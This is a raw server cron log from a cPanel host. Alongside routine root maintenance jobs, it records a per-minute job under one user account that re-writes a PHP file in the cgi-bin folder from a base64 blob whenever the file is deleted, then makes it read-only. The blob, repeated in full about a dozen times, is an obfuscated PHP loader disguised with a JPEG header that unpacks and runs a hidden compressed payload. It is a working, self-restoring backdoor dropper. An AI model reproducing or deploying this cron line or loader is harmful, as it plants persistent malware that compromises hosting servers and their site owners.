Sep 10 14:58:01 server CROND[15086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:59:01 server CROND[15611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:59:01 server CROND[15612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:59:01 server CROND[15614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:00:01 server CROND[15986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:00:01 server CROND[15987]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:00:01 server CROND[15995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:00:01 server CROND[15996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:00:01 server CROND[16000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:00:01 server CROND[16001]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 15:00:01 server CROND[15997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:00:01 server CROND[15998]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:00:01 server CROND[15999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:01:01 server CROND[16811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:01:01 server CROND[16812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:01:01 server CROND[16814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:01:01 server CROND[16813]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 15:01:01 server run-parts(/etc/cron.hourly)[16813]: starting 0anacron
Sep 10 15:01:01 server run-parts(/etc/cron.hourly)[16832]: finished 0anacron
Sep 10 15:02:01 server CROND[17298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:02:01 server CROND[17299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:02:01 server CROND[17300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:03:01 server CROND[17681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:03:01 server CROND[17683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:03:01 server CROND[17682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:04:01 server CROND[18074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:04:01 server CROND[18073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:04:01 server CROND[18075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:05:01 server CROND[18453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:05:01 server CROND[18455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:05:01 server CROND[18456]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:05:01 server CROND[18458]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:05:01 server CROND[18461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:05:01 server CROND[18462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:05:01 server CROND[18465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:05:01 server CROND[18463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:06:01 server CROND[19353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:06:01 server CROND[19354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:06:01 server CROND[19355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:07:01 server CROND[19715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:07:01 server CROND[19716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:07:01 server CROND[19717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:08:01 server CROND[20183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:08:01 server CROND[20184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:08:01 server CROND[20185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:09:01 server CROND[20560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:09:01 server CROND[20559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:09:01 server CROND[20558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:09:01 server CROND[20561]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 15:10:01 server CROND[20931]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:10:01 server CROND[20935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:10:01 server CROND[20951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
